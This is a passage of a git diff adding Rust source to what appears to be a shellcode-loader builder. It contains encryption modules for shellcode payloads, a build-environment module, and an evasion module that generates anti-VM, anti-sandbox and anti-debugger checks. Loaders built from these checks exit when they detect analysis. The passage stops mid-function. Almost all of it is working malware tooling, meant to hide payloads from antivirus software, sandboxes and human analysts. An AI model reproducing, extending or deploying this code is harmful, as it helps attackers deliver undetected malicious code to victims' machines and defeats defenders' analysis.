+    #[test]
+    fn test_create_encryptor_aes() {
+        let encryptor = create_encryptor(EncryptionKind::AES, "test-key-123456");
+        let data = b"Hello, World!";
+        let encrypted = encryptor.encrypt(data).unwrap();
+        assert_ne!(encrypted, data);
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, data);
+    }
+
+    #[test]
+    fn test_create_encryptor_chacha20() {
+        let encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key-123456");
+        let data = b"Hello, World!";
+        let encrypted = encryptor.encrypt(data).unwrap();
+        assert_ne!(encrypted, data);
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, data);
+    }
+
+    #[test]
+    fn test_create_encryptor_xor() {
+        let encryptor = create_encryptor(EncryptionKind::XOR, "test-key-123456");
+        let data = b"Hello, World!";
+        let encrypted = encryptor.encrypt(data).unwrap();
+        assert_ne!(encrypted, data);
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, data);
+    }
+
+    #[test]
+    fn test_create_encryptor_blowfish() {
+        let encryptor = create_encryptor(EncryptionKind::Blowfish, "test-key-123456");
+        let data = b"Hello, World!";
+        let encrypted = encryptor.encrypt(data).unwrap();
+        assert_ne!(encrypted, data);
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, data);
+    }
+
+    #[test]
+    fn test_create_encryptor_aes256() {
+        let encryptor = create_encryptor(EncryptionKind::AES256, "test-key-123456");
+        let data = b"Hello, World!";
+        let encrypted = encryptor.encrypt(data).unwrap();
+        assert_ne!(encrypted, data);
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, data);
+    }
+
+    #[test]
+    fn test_create_encryptor_twofish() {
+        let encryptor = create_encryptor(EncryptionKind::Twofish, "test-key-123456");
+        let data = b"Hello, World!";
+        let encrypted = encryptor.encrypt(data).unwrap();
+        assert_ne!(encrypted, data);
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, data);
+    }
+
+    #[test]
+    fn test_create_encryptor_camellia() {
+        let encryptor = create_encryptor(EncryptionKind::Camellia, "test-key-123456");
+        let data = b"Hello, World!";
+        let encrypted = encryptor.encrypt(data).unwrap();
+        assert_ne!(encrypted, data);
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, data);
+    }
+
+    #[test]
+    fn test_generate_decrypt_code_xor() {
+        let encryptor = create_encryptor(EncryptionKind::XOR, "test-key");
+        let code = encryptor.generate_decrypt_code();
+        assert!(code.contains("decrypt_xor"));
+        assert!(code.contains("xor_bytes"));
+    }
+
+    #[test]
+    fn test_generate_decrypt_code_aes() {
+        let encryptor = create_encryptor(EncryptionKind::AES, "test-key");
+        let code = encryptor.generate_decrypt_code();
+        assert!(code.contains("decrypt_aes"));
+        assert!(code.contains("AES-128"));
+    }
+
+    #[test]
+    fn test_generate_decrypt_code_chacha20() {
+        let encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key");
+        let code = encryptor.generate_decrypt_code();
+        assert!(code.contains("decrypt_chacha20"));
+        assert!(code.contains("ChaCha20"));
+    }
+
+    #[test]
+    fn test_generate_decrypt_template_xor() {
+        let encryptor = create_encryptor(EncryptionKind::XOR, "test-key");
+        let template = encryptor.generate_decrypt_template();
+        assert!(template.contains("internals::decrypt_xor"));
+        assert!(template.contains("ENCRYPTED_SHELLCODE"));
+        assert!(template.contains("DECRYPTION_KEY"));
+    }
+
+    #[test]
+    fn test_generate_decrypt_template_aes() {
+        let encryptor = create_encryptor(EncryptionKind::AES, "test-key");
+        let template = encryptor.generate_decrypt_template();
+        assert!(template.contains("internals::decrypt_aes"));
+        assert!(template.contains("ENCRYPTED_SHELLCODE"));
+        assert!(template.contains("expect"));
+    }
+
+    #[test]
+    fn test_required_dependencies_aes() {
+        let encryptor = create_encryptor(EncryptionKind::AES, "test-key");
+        let deps = encryptor.required_dependencies();
+        assert!(deps.len() >= 2);
+        assert!(deps.iter().any(|(name, _)| *name == "aes"));
+        assert!(deps.iter().any(|(name, _)| *name == "cbc"));
+    }
+
+    #[test]
+    fn test_required_dependencies_chacha20() {
+        let encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key");
+        let deps = encryptor.required_dependencies();
+        assert!(deps.iter().any(|(name, _)| *name == "chacha20"));
+    }
+
+    #[test]
+    fn test_key_size_bytes() {
+        let xor_encryptor = create_encryptor(EncryptionKind::XOR, "test");
+        assert_eq!(xor_encryptor.key_size_bytes(), 4);
+
+        let aes_encryptor = create_encryptor(EncryptionKind::AES, "test-key");
+        assert_eq!(aes_encryptor.key_size_bytes(), 16);
+
+        let aes256_encryptor = create_encryptor(EncryptionKind::AES256, "test-key");
+        assert_eq!(aes256_encryptor.key_size_bytes(), 32);
+
+        let chacha20_encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key");
+        assert_eq!(chacha20_encryptor.key_size_bytes(), 32);
+    }
+}

diff --git a/src/encryption/twofish_cipher.rs b/src/encryption/twofish_cipher.rs
@@ -0,0 +1,194 @@
+use super::Encryptor;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+use twofish::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use twofish::Twofish;
+
+type TwofishCbcEnc = cbc::Encryptor<Twofish>;
+#[allow(dead_code)]
+type TwofishCbcDec = cbc::Decryptor<Twofish>;
+
+/// Twofish cipher implementation with CBC mode
+pub struct TwofishEncryptor {
+    key: [u8; 32],
+}
+
+impl TwofishEncryptor {
+    /// Creates a new Twofish encryptor with the given key
+    /// Uses SHA-256 to derive a proper 32-byte key from the input
+    pub fn new(key: &str) -> Self {
+        let mut hasher = Sha256::new();
+        hasher.update(key.as_bytes());
+        let hash = hasher.finalize();
+
+        let mut key_bytes = [0u8; 32];
+        key_bytes.copy_from_slice(&hash[..32]);
+
+        println!(
+            "[Twofish] Derived key from input (SHA-256): {:02x?}",
+            &key_bytes[..8]
+        );
+
+        Self { key: key_bytes }
+    }
+}
+
+impl Encryptor for TwofishEncryptor {
+    fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        let mut rng = rand::thread_rng();
+        let mut iv = [0u8; 16];
+        rng.fill(&mut iv);
+
+        println!(
+            "[Twofish] Generated random IV for encryption: {:02x?}",
+            &iv[..8]
+        );
+
+        let cipher = TwofishCbcEnc::new(&self.key.into(), &iv.into());
+        let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+        let mut result = iv.to_vec();
+        result.extend_from_slice(&ciphertext);
+
+        Ok(result)
+    }
+
+    fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        if data.len() < 16 {
+            return Err("Ciphertext too short to contain IV".to_string());
+        }
+
+        let iv: [u8; 16] = data[..16].try_into().unwrap();
+        let ciphertext = &data[16..];
+
+        println!("[Twofish] Extracted IV for decryption: {:02x?}", &iv[..8]);
+
+        let cipher = TwofishCbcDec::new(&self.key.into(), &iv.into());
+        cipher
+            .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+            .map_err(|e| format!("Decryption error: {:?}", e))
+    }
+
+    fn key_size(&self) -> usize {
+        32
+    }
+
+    fn algorithm_name(&self) -> &'static str {
+        "Twofish-CBC"
+    }
+
+    fn uses_iv(&self) -> bool {
+        true
+    }
+
+    fn generate_decrypt_code(&self) -> &'static str {
+        r#"/// Decrypts Twofish CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_twofish(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+    use twofish::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+    use twofish::Twofish;
+    
+    if data.len() < 16 {
+        return Err("Ciphertext too short to contain IV".to_string());
+    }
+    
+    if key.len() != 32 {
+        return Err("Key must be 32 bytes for Twofish".to_string());
+    }
+    
+    let iv: [u8; 16] = data[..16].try_into().unwrap();
+    let ciphertext = &data[16..];
+    
+    let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+    
+    type TwofishCbcDec = cbc::Decryptor<Twofish>;
+    let cipher = TwofishCbcDec::new(&key_array.into(), &iv.into());
+    cipher
+        .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+        .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+    }
+
+    fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+        vec![("twofish", "0.7"), ("cbc", "0.1")]
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_twofish_encrypt_decrypt() {
+        let encryptor = TwofishEncryptor::new("my-secret-key-123");
+        let plaintext = b"Hello, World!";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_twofish_different_keys() {
+        let encryptor1 = TwofishEncryptor::new("key1");
+        let encryptor2 = TwofishEncryptor::new("key2");
+        let plaintext = b"Test data";
+
+        let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+        let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+        assert_ne!(encrypted1, encrypted2);
+    }
+
+    #[test]
+    fn test_twofish_empty_data() {
+        let encryptor = TwofishEncryptor::new("key");
+        let empty: &[u8] = &[];
+
+        let encrypted = encryptor.encrypt(empty).unwrap();
+        assert!(encrypted.len() >= 16);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted.len(), 0);
+    }
+
+    #[test]
+    fn test_twofish_wrong_key_decryption() {
+        let encryptor1 = TwofishEncryptor::new("correct-key");
+        let encryptor2 = TwofishEncryptor::new("wrong-key");
+        let plaintext = b"Secret message";
+
+        let encrypted = encryptor1.encrypt(plaintext).unwrap();
+        let result = encryptor2.decrypt(&encrypted);
+
+        assert!(result.is_err() || result.unwrap() != plaintext);
+    }
+
+    #[test]
+    fn test_twofish_long_data() {
+        let encryptor = TwofishEncryptor::new("secret-key");
+        let plaintext =
+            b"This is a much longer message that exceeds the Twofish block size of 16 bytes";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_twofish_binary_data() {
+        let encryptor = TwofishEncryptor::new("key");
+        let plaintext: Vec<u8> = (0..=255).collect();
+
+        let encrypted = encryptor.encrypt(&plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+}

diff --git a/src/encryption/xor_cipher.rs b/src/encryption/xor_cipher.rs
@@ -0,0 +1,117 @@
+use super::Encryptor;
+
+/// XOR cipher implementation
+pub struct XorEncryptor {
+    key: Vec<u8>,
+}
+
+impl XorEncryptor {
+    /// Creates a new XOR encryptor with the given key
+    pub fn new(key: &str) -> Self {
+        Self {
+            key: key.as_bytes().to_vec(),
+        }
+    }
+}
+
+impl Encryptor for XorEncryptor {
+    fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        if self.key.is_empty() {
+            return Err("Key cannot be empty".to_string());
+        }
+
+        Ok(data
+            .iter()
+            .enumerate()
+            .map(|(i, &byte)| byte ^ self.key[i % self.key.len()])
+            .collect())
+    }
+
+    fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        // XOR encryption is symmetric
+        self.encrypt(data)
+    }
+
+    fn key_size(&self) -> usize {
+        self.key.len()
+    }
+
+    fn algorithm_name(&self) -> &'static str {
+        "XOR"
+    }
+
+    fn uses_iv(&self) -> bool {
+        false // XOR doesn't use IV
+    }
+
+    fn generate_decrypt_code(&self) -> &'static str {
+        r#"/// Decrypts XOR encrypted data using the provided key
+///
+/// Returns decrypted bytes.
+pub fn decrypt_xor(data: &[u8], key: &[u8]) -> Vec<u8> {
+    xor_bytes(data, key)
+}"#
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_xor_encrypt_decrypt() {
+        let encryptor = XorEncryptor::new("secret-key");
+        let plaintext = b"Hello, World!";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_xor_different_keys() {
+        let encryptor1 = XorEncryptor::new("key1");
+        let encryptor2 = XorEncryptor::new("key2");
+        let plaintext = b"Test data";
+
+        let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+        let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+        assert_ne!(encrypted1, encrypted2);
+    }
+
+    #[test]
+    fn test_xor_empty_data() {
+        let encryptor = XorEncryptor::new("key");
+        let empty: &[u8] = &[];
+
+        let encrypted = encryptor.encrypt(empty).unwrap();
+        assert_eq!(encrypted.len(), 0);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted.len(), 0);
+    }
+
+    #[test]
+    fn test_xor_empty_key() {
+        let encryptor = XorEncryptor::new("");
+        let data = b"test";
+
+        let result = encryptor.encrypt(data);
+        assert!(result.is_err());
+    }
+
+    #[test]
+    fn test_xor_long_data() {
+        let encryptor = XorEncryptor::new("short");
+        let plaintext = b"This is a much longer message that exceeds the key length";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+}

diff --git a/src/env_setup.rs b/src/env_setup.rs
@@ -0,0 +1,191 @@
+//! Environment Setup Module
+//!
+//! Handles the initialization and setup of the build environment for generating
+//! shellcode loaders. This includes verifying prerequisites, creating temporary
+//! directories, and managing the working directory.
+//!
+//! # Workflow
+//!
+//! 1. Verify cargo is installed and accessible
+//! 2. Create a unique temporary directory for the build
+//! 3. Change the working directory to the temp location
+//!
+//! # Safety
+//!
+//! Functions that modify the working directory are not thread-safe. Tests that
+//! use these functions must serialize using `TEST_DIR_MUTEX` to prevent race
+//! conditions.
+//!
+//! # Example
+//!
+//! ```no_run
+//! use myph_v2::env_setup::setup_environment;
+//!
+//! let temp_dir = setup_environment().expect("Failed to setup environment");
+//! println!("Build directory: {:?}", temp_dir);
+//! ```
+
+use std::env;
+use std::io;
+use std::path::PathBuf;
+use std::process::Command;
+
+/// Check if cargo is installed on the system
+///
+/// Returns `Ok(())` if cargo is installed and accessible via PATH,
+/// otherwise returns an error.
+pub fn check_cargo_installed() -> io::Result<()> {
+    let status = Command::new("cargo")
+        .arg("--version")
+        .stdout(std::process::Stdio::null())
+        .stderr(std::process::Stdio::null())
+        .status()?;
+
+    if status.success() {
+        Ok(())
+    } else {
+        Err(io::Error::new(
+            io::ErrorKind::NotFound,
+            "cargo command failed to execute",
+        ))
+    }
+}
+
+/// Create a temporary directory and return its path
+///
+/// Creates a new temporary directory with a unique name in the system temp directory.
+/// Note: The directory will NOT be automatically cleaned up and must be
+/// manually removed when no longer needed.
+///
+/// Returns the path to the newly created temporary directory.
+pub fn create_temp_directory() -> io::Result<PathBuf> {
+    let base_temp_dir = env::temp_dir();
+
+    let unique_dir = base_temp_dir.join(format!("myph-{}", rand::random::<u32>()));
+
+    std::fs::create_dir_all(&unique_dir)?;
+
+    Ok(unique_dir)
+}
+
+/// Change the current working directory to the specified path
+///
+/// # Arguments
+///
+/// * `path` - The path to change to
+///
+/// Returns `Ok(())` if successful, otherwise returns an error.
+pub fn change_working_directory(path: &PathBuf) -> io::Result<()> {
+    env::set_current_dir(path)?;
+    Ok(())
+}
+
+/// Setup the environment for running the application
+///
+/// This function performs the following steps:
+/// 1. Checks if cargo is installed
+/// 2. Creates a temporary directory
+/// 3. Changes the working directory to the temporary directory
+///
+/// Returns the path to the temporary directory if successful,
+/// otherwise returns an error describing what went wrong.
+pub fn setup_environment() -> io::Result<PathBuf> {
+    check_cargo_installed().map_err(|e| {
+        io::Error::new(
+            io::ErrorKind::NotFound,
+            format!("cargo is not installed or not in PATH: {}", e),
+        )
+    })?;
+
+    let temp_dir = create_temp_directory()?;
+
+    change_working_directory(&temp_dir)?;
+
+    Ok(temp_dir)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::TEST_DIR_MUTEX;
+    use std::env;
+
+    #[test]
+    fn test_check_cargo_installed() {
+        // This test assumes cargo is installed in the test environment
+        let result = check_cargo_installed();
+        assert!(
+            result.is_ok(),
+            "cargo should be installed in test environment"
+        );
+    }
+
+    #[test]
+    fn test_create_temp_directory() {
+        let result = create_temp_directory();
+        assert!(result.is_ok(), "should be able to create temp directory");
+
+        let temp_path = result.unwrap();
+        assert!(temp_path.exists(), "temp directory should exist");
+        assert!(temp_path.is_dir(), "temp path should be a directory");
+
+        // Clean up
+        let _ = std::fs::remove_dir_all(&temp_path);
+    }
+
+    #[test]
+    fn test_change_working_directory() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        // Save current directory
+        let original_dir = env::current_dir().unwrap();
+
+        // Create a temp directory
+        let temp_dir = create_temp_directory().unwrap();
+
+        // Change to it
+        let result = change_working_directory(&temp_dir);
+        assert!(result.is_ok(), "should be able to change directory");
+
+        // Verify we're in the new directory
+        let current_dir = env::current_dir().unwrap();
+        assert_eq!(current_dir, temp_dir, "should be in temp directory");
+
+        // Clean up - change back to original directory
+        let _ = env::set_current_dir(&original_dir);
+        let _ = std::fs::remove_dir_all(&temp_dir);
+    }
+
+    #[test]
+    fn test_setup_environment() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        // Save current directory
+        let original_dir = env::current_dir().unwrap();
+
+        // Run setup
+        let result = setup_environment();
+        assert!(result.is_ok(), "setup_environment should succeed");
+
+        let temp_dir = result.unwrap();
+        assert!(temp_dir.exists(), "temp directory should exist");
+
+        // Verify we changed to the temp directory
+        let current_dir = env::current_dir().unwrap();
+        assert_eq!(current_dir, temp_dir, "should be in temp directory");
+
+        // Clean up
+        let _ = env::set_current_dir(&original_dir);
+        let _ = std::fs::remove_dir_all(&temp_dir);
+    }
+
+    #[test]
+    fn test_change_to_nonexistent_directory() {
+        let nonexistent_path = env::temp_dir().join("definitely-does-not-exist-123456789");
+        let result = change_working_directory(&nonexistent_path);
+        assert!(
+            result.is_err(),
+            "should fail to change to nonexistent directory"
+        );
+    }
+}

diff --git a/src/evasion.rs b/src/evasion.rs
@@ -0,0 +1,996 @@
+// Evasion module - Anti-analysis detection functions
+//
+// String encryption is now supported for evasion checks when --with-string-encryption is enabled.
+// Static strings (registry paths, DLL names, process names, etc.) are encrypted at build time
+// and decrypted at runtime to prevent static analysis.
+//
+// UPDATE 2026-01-01: Extern declarations have been centralized and string encryption implemented.
+
+/// Generate centralized extern declarations for evasion checks
+pub fn generate_evasion_externs() -> String {
+    r#"
+#[repr(C)]
+struct MemoryStatusEx {
+    length: u32,
+    memory_load: u32,
+    total_phys: u64,
+    avail_phys: u64,
+    total_page_file: u64,
+    avail_page_file: u64,
+    total_virtual: u64,
+    avail_virtual: u64,
+    avail_extended_virtual: u64,
+}
+
+#[repr(C)]
+struct LastInputInfo {
+    size: u32,
+    time: u32,
+}
+
+#[repr(C)]
+struct Context {
+    context_flags: u32,
+    dr0: usize,
+    dr1: usize,
+    dr2: usize,
+    dr3: usize,
+    dr6: usize,
+    dr7: usize,
+    _padding: [u8; 512],
+}
+
+#[link(name = "kernel32")]
+extern "system" {
+    fn GetModuleHandleA(module_name: *const i8) -> *mut std::ffi::c_void;
+    fn IsDebuggerPresent() -> i32;
+    fn CheckRemoteDebuggerPresent(
+        process: *mut std::ffi::c_void,
+        present: *mut i32,
+    ) -> i32;
+    fn GetCurrentProcess() -> *mut std::ffi::c_void;
+    fn GetCurrentThread() -> *mut std::ffi::c_void;
+    fn GetThreadContext(
+        thread: *mut std::ffi::c_void,
+        context: *mut Context,
+    ) -> i32;
+    fn GlobalMemoryStatusEx(buffer: *mut MemoryStatusEx) -> i32;
+    fn GetTickCount() -> u32;
+    fn GetTickCount64() -> u64;
+}
+
+#[link(name = "user32")]
+extern "system" {
+    fn GetLastInputInfo(info: *mut LastInputInfo) -> i32;
+}
+
+#[link(name = "ntdll")]
+extern "system" {
+    fn NtQueryInformationProcess(
+        process_handle: *mut std::ffi::c_void,
+        process_information_class: u32,
+        process_information: *mut std::ffi::c_void,
+        process_information_length: u32,
+        return_length: *mut u32,
+    ) -> i32;
+}
+"#
+    .to_string()
+}
+
+pub fn anti_vm_checks() -> String {
+    r#"
+fn check_vm_artifacts() -> bool {
+    unsafe {
+        let vm_dlls = [
+            b"vmGuestLib.dll\0".as_ptr() as *const i8,
+            b"vboxmrxnp.dll\0".as_ptr() as *const i8,
+            b"VBoxHook.dll\0".as_ptr() as *const i8,
+            b"vmmouse.sys\0".as_ptr() as *const i8,
+            b"vmhgfs.dll\0".as_ptr() as *const i8,
+        ];
+
+        for dll in vm_dlls.iter() {
+            if !GetModuleHandleA(*dll).is_null() {
+                return true;
+            }
+        }
+    }
+    false
+}
+
+fn check_vm_registry() -> bool {
+    use std::process::Command;
+
+    let vm_keys = [
+        r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest",
+        r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse",
+        r"HKLM\SYSTEM\ControlSet001\Services\VBoxService",
+        r"HKLM\SYSTEM\ControlSet001\Services\vmtools",
+        r"HKLM\SYSTEM\ControlSet001\Services\vmmouse",
+        r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
+    ];
+
+    for key in vm_keys.iter() {
+        if let Ok(output) = Command::new("reg").args(&["query", key]).output() {
+            if output.status.success() {
+                return true;
+            }
+        }
+    }
+    false
+}
+
+fn check_vm_processes() -> bool {
+    use std::process::Command;
+
+    let vm_processes = [
+        "vmtoolsd.exe",
+        "vmwaretray.exe",
+        "vmwareuser.exe",
+        "VGAuthService.exe",
+        "vmacthlp.exe",
+        "vboxservice.exe",
+        "vboxtray.exe",
+        "xenservice.exe",
+        "qemu-ga.exe",
+    ];
+
+    if let Ok(output) = Command::new("tasklist").output() {
+        let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+        for process in vm_processes.iter() {
+            if output_str.contains(&process.to_lowercase()) {
+                return true;
+            }
+        }
+    }
+    false
+}
+
+fn check_vm_cpu_count() -> bool {
+    use std::env;
+
+    if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") {
+        if let Ok(count) = num_cpus.parse::<u32>() {
+            if count < 2 {
+                return true;
+            }
+        }
+    }
+    false
+}
+
+fn check_vm_memory() -> bool {
+    unsafe {
+        let mut meminfo = MemoryStatusEx {
+            length: std::mem::size_of::<MemoryStatusEx>() as u32,
+            memory_load: 0,
+            total_phys: 0,
+            avail_phys: 0,
+            total_page_file: 0,
+            avail_page_file: 0,
+            total_virtual: 0,
+            avail_virtual: 0,
+            avail_extended_virtual: 0,
+        };
+
+        if GlobalMemoryStatusEx(&mut meminfo) != 0 {
+            let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024);
+            if total_ram_gb < 2 {
+                return true;
+            }
+        }
+    }
+    false
+}
+
+fn check_vm_firmware() -> bool {
+    use std::process::Command;
+
+    if let Ok(output) = Command::new("wmic")
+        .args(&["bios", "get", "manufacturer"])
+        .output()
+    {
+        let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+        let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"];
+        for vendor in vm_vendors.iter() {
+            if output_str.contains(vendor) {
+                return true;
+            }
+        }
+    }
+    false
+}
+
+fn detect_vm() -> bool {
+    check_vm_artifacts()
+        || check_vm_registry()
+        || check_vm_processes()
+        || check_vm_cpu_count()
+        || check_vm_memory()
+        || check_vm_firmware()
+}
+"#
+    .to_string()
+}
+
+pub fn anti_sandbox_checks() -> String {
+    r#"
+fn check_sandbox_user_interaction() -> bool {
+    use std::time::{Duration, Instant};
+
+    unsafe {
+        let mut info = LastInputInfo {
+            size: std::mem::size_of::<LastInputInfo>() as u32,
+            time: 0,
+        };
+
+        if GetLastInputInfo(&mut info) != 0 {
+            let current_time = GetTickCount();
+            let idle_time = current_time - info.time;
+            if idle_time < 60000 {
+                return false;
+            }
+        }
+    }
+    true
+}
+
+fn check_sandbox_timing() -> bool {
+    use std::time::Instant;
+
+    let iterations = 10;
+    let mut timings = Vec::new();
+
+    for _ in 0..iterations {
+        let start = Instant::now();
+        let mut sum = 0u64;
+        for i in 0..100000 {
+            sum = sum.wrapping_add(i);
+        }
+        let elapsed = start.elapsed().as_nanos();
+        timings.push(elapsed);
+    }
+
+    if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) {
+        if avg < 1000 {
+            return true;
+        }
+    }
+    false
+}
+
+fn check_sandbox_file_count() -> bool {
+    use std::fs;
+
+    if let Ok(entries) = fs::read_dir("C:\\Windows\\System32") {
+        let count = entries.count();
+        if count < 100 {
+            return true;
+        }
+    }
+    false
+}
+
+fn check_sandbox_uptime() -> bool {
+    unsafe {
+        let uptime_ms = GetTickCount64();
+        let uptime_minutes = uptime_ms / (1000 * 60);
+        if uptime_minutes < 10 {
+            return true;
+        }
+    }
+    false
+}
+
+fn check_sandbox_recent_files() -> bool {
+    use std::fs;
+    use std::path::PathBuf;
+
+    if let Ok(appdata) = std::env::var("APPDATA") {
+        let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent");
+        if let Ok(entries) = fs::read_dir(recent_path) {
+            let count = entries.count();
+            if count < 5 {
+                return true;
+            }
+        }
+    }
+    false
+}
+
+fn detect_sandbox() -> bool {
+    check_sandbox_user_interaction()
+        || check_sandbox_timing()
+        || check_sandbox_file_count()
+        || check_sandbox_uptime()
+        || check_sandbox_recent_files()
+}
+"#
+    .to_string()
+}
+
+pub fn anti_debugger_checks() -> String {
+    r#"
+fn check_debugger_present() -> bool {
+    unsafe {
+        IsDebuggerPresent() != 0
+    }
+}
+
+fn check_remote_debugger() -> bool {
+    unsafe {
+        let mut is_present: i32 = 0;
+        let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present);
+        result != 0 && is_present != 0
+    }
+}
+
+fn check_debug_port() -> bool {
+    unsafe {
+        let mut debug_port: usize = 0;
+        let status = NtQueryInformationProcess(
+            GetCurrentProcess(),
+            7,
+            &mut debug_port as *mut usize as *mut std::ffi::c_void,
+            std::mem::size_of::<usize>() as u32,
+            std::ptr::null_mut(),
+        );
+
+        status == 0 && debug_port != 0
+    }
+}
+
+fn check_hardware_breakpoints() -> bool {
+    unsafe {
+        let mut context = Context {
+            context_flags: 0x00010000 | 0x00000010,
+            dr0: 0,
+            dr1: 0,
+            dr2: 0,
+            dr3: 0,
+            dr6: 0,
+            dr7: 0,
+            _padding: [0; 512],
+        };
+
+        if GetThreadContext(GetCurrentThread(), &mut context) != 0 {
+            if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 {
+                return true;
+            }
+        }
+    }
+    false
+}
+
+fn check_parent_process() -> bool {
+    use std::process::Command;
+
+    if let Ok(output) = Command::new("tasklist")
+        .args(&["/v", "/fo", "csv"])
+        .output()
+    {
+        let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+        let debugger_parents = ["devenv.exe", "windbg.exe", "x64dbg.exe", "ollydbg.exe", "ida64.exe"];
+        for parent in debugger_parents.iter() {
+            if output_str.contains(parent) {
+                return true;
+            }
+        }
+    }
+    false
+}
+
+fn detect_debugger() -> bool {
+    check_debugger_present()
+        || check_remote_debugger()
+        || check_debug_port()
+        || check_hardware_breakpoints()
+        || check_parent_process()
+}
+"#
+    .to_string()
+}
+
+pub fn generate_evasion_check_call(
+    anti_vm: bool,
+    anti_sandbox: bool,
+    anti_debugger: bool,
+) -> String {
+    let mut checks = Vec::new();
+
+    if anti_vm {
+        checks.push("detect_vm()");
+    }
+    if anti_sandbox {
+        checks.push("detect_sandbox()");
+    }
+    if anti_debugger {
+        checks.push("detect_debugger()");
+    }
+
+    if checks.is_empty() {
+        return String::new();
+    }
+
+    format!(
+        r#"
+    if {} {{
+        std::process::exit(1);
+    }}
+"#,
+        checks.join(" || ")
+    )
+}
+
+/// Generate anti-VM checks with encrypted strings
+pub fn anti_vm_checks_with_encryption(
+    vm_dll_arrays: &[String],
+    vm_registry_arrays: &[String],
+    vm_process_arrays: &[String],
+    vm_vendor_arrays: &[String],
+    decrypt_fn: &str,
+    expect_clause: &str,
+) -> String {
+    format!(
+        r#"
+fn check_vm_artifacts() -> bool {{
+    unsafe {{
+        const ENCRYPTED_VM_DLL_0: &[u8] = &{};
+        const ENCRYPTED_VM_DLL_1: &[u8] = &{};
+        const ENCRYPTED_VM_DLL_2: &[u8] = &{};
+        const ENCRYPTED_VM_DLL_3: &[u8] = &{};
+        const ENCRYPTED_VM_DLL_4: &[u8] = &{};
+        
+        let dll_0 = {}(ENCRYPTED_VM_DLL_0, &DECRYPTION_KEY){};
+        let dll_1 = {}(ENCRYPTED_VM_DLL_1, &DECRYPTION_KEY){};
+        let dll_2 = {}(ENCRYPTED_VM_DLL_2, &DECRYPTION_KEY){};
+        let dll_3 = {}(ENCRYPTED_VM_DLL_3, &DECRYPTION_KEY){};
